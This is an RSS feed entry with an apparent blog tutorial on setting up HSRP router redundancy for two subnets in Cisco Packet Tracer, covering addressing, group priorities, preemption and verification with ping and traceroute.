            <content:encoded><![CDATA[<h3>Overview of HSRP</h3><p>HSRP (Hot Standby Router Protocol) is a Cisco proprietary protocol that ensures network continuity by allowing multiple routers to work together to present the illusion of a single virtual router to the network. This prevents a single point of failure by enabling a backup router to take over automatically if the primary router fails.</p><h3>Objective</h3><p>The goal of this configuration is to set up two routers using HSRP to provide redundancy for two network segments. We will configure Router0 and Router1 to share the load and provide a seamless failover mechanism.</p><h3>Step 1: Build the Network Topology</h3><ol><li><strong>Open Cisco Packet Tracer.</strong></li><li><strong>Add the following devices</strong>:</li></ol><ul><li>Two routers (Router0 and Router1).</li><li>Two switches.</li><li>Two laptop. (to simulate hosts in different networks).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PUFchYXlF8aUufdd4f4E6g.png" /></figure><h3>Step 2: Configure IP Addresses</h3><p>Two networks will be configured:</p><p><strong>Network 192.168.1.0/24</strong></p><ul><li>Router0 : 192.168.1.2 (GigabitEthernet 0/0)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*bQwQHRUWsr0-MG2se06TFg.png" /></figure><ul><li>Router1 : 192.168.1.3 (GigabitEthernet 0/0)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*UPCn3D4XvkvlA-mGLlurjQ.png" /></figure><p><strong>Network 192.168.2.0/24</strong></p><ul><li>Router0 : 192.168.2.2 (GigabitEthernet 0/1)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*cqvcMhLX15FeW45pIZFC6g.png" /></figure><ul><li>Router1 : 192.168.2.3 (GigabitEthernet 0/1)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*VsPoRDB1IAWKa7v2NUjIjA.png" /></figure><p>Two HSRP groups are configured on the ISR routers :</p><p><strong>HSRP Group 1 :</strong></p><ul><li>IP address : 192.168.1.1</li><li>Router0 with priority 120 (preemption enabled)</li><li>Router1 with HSRP default priority (100)</li></ul><p><strong>HSRP Group 2 :</strong></p><ul><li>IP address : 192.168.2.1</li><li>Router0 with priority 120 (preemption enabled)</li><li>Router1 with HSRP default priority (100)</li></ul><h3>Step 3: Configure HSRP on Router0</h3><ol><li><strong>Access the CLI</strong> on Router0.</li><li><strong>Enter the following commands</strong>:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*3at-A6rt-6T_R7fc8ni9aA.png" /></figure><h3>Step 4: Configure HSRP on Router1</h3><ol><li><strong>Access the CLI</strong> on Router1.</li><li><strong>Enter the following commands</strong>:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*VKt9G1jxa5MZl0g4oeEh-A.png" /></figure><p>Preemption is set up on Router0 with the ‘standby X preempt’ command, ensuring it always becomes the active HSRP router when online, provided it has the highest HSRP priority in the network. Without the ‘standby x priority 120’ setting, Router0 fails to become active, and Router1 takes over as the active router due to its higher IP address.</p><h3>Step 5: Testing the Configuration</h3><ol><li><strong>Verify Router Roles</strong>:</li></ol><ul><li>On Router0 and Router1, run the following command to check which router is active and which is standby:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*FnM0rEB7rLXcq72uyRcKOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*KU2CY3ISD56_DtZKvJBnLQ.png" /></figure><ul><li>You should see Router0 as the active router for both HSRP groups due to its higher priority.</li></ul><p><strong>2. Ping and Traceroute Testing</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*HbZXrLfJ8EHVPf4L9AIQlw.png" /></figure><p>The ping, traceroute, and arp commands executed on Laptop0 confirm that the configuration is operational. The IP packets are successfully passing through Router0 at 192.168.1.2.</p><h3>Conclusion</h3><p>With the above configuration, HSRP is now correctly set up, providing redundancy for both networks 192.168.1.0/24 and 192.168.2.0/24. Router0 is the primary router due to its higher priority, while Router1 acts as a standby. The preemption feature ensures that Router0 resumes its role as the active router once it comes back online after a failure.</p><p>By following this guide, you should have a working HSRP configuration that ensures high availability and seamless failover in your network.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e78ad162a50" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>